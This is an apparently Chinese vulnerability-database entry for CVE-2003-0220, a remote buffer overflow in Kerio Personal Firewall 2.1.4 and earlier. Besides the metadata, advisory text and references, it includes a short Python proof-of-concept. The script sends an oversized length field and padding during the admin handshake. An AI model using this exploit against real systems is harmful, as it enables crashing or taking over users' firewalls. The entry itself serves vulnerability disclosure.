Kerio Personal Firewall验证包远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107294 漏洞类型 边界条件错误
发布时间 2003-04-28 更新时间 2007-10-16
CVE编号 CVE-2003-0220 CNNVD-ID CNNVD-200305-031
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/22417
https://www.securityfocus.com/bid/7180
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200305-031
|漏洞详情
KerioPersonalFirewall(KPF)是一款个人防火墙系统。Kerio个人防火墙管理验证处理过程存在问题,远程攻击者可以利用这个漏洞伪造恶意包触发缓冲区溢出,可能以管理员权限在系统上执行任意指令。当管理员连接防火墙时会进行握手连接,用于建立加密会话,握手的第4个包(第一个包是管理员发送)包含4字节数据,其中有一定固定值0x40(64)指示后续的包含管理员密钥的包的大小。防火墙端在使用recv()处理这个数据的时候没有进行边界缓冲区检查,如果攻击者伪造包含超大数据的包发送给防火墙,此数据就会被读取到内存缓冲区时而发生缓冲区溢出,精心构建提交数据可能以系统管理员权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/7180/info

A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking. 

Successful exploits of this vulnerability may allow an attacker to execute arbitrary commands on a target system, with the privileges of the firewall. 

Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier.

import os
import socket
import struct
import string

def g():
     fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     try:
         fd.connect(('192.168.66.160', 44334))
         fd.recv(10)
         fd.recv(256)
         fd.send(struct.pack('!L', 0x149c))
         astr = 'A'*0x149c
         fd.send(astr)

     except Exception, e:
         print e
         pass

     fd.close()

g()
|受影响的产品
Kerio Personal Firewall 2 2.1.4 Kerio Personal Firewall 2 2.1.3 Kerio Personal Firewall 2 2.1.2 Kerio Personal Firewall 2 2.1.1 Kerio Personal Firewall 2 2.1
|参考资料

来源:US-CERTVulnerabilityNote:VU#454716
名称:VU#454716
链接:http://www.kb.cert.org/vuls/id/454716
来源:www.coresecurity.com
链接:http://www.coresecurity.com/common/showdoc.php?idx=314&idxseccion=10
来源:BID
名称:7180
链接:http://www.securityfocus.com/bid/7180
来源:BUGTRAQ
名称:20030428CORE-2003-0305-02:VulnerabilitiesinKerioPersonalFirewall
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105155734411836&w=2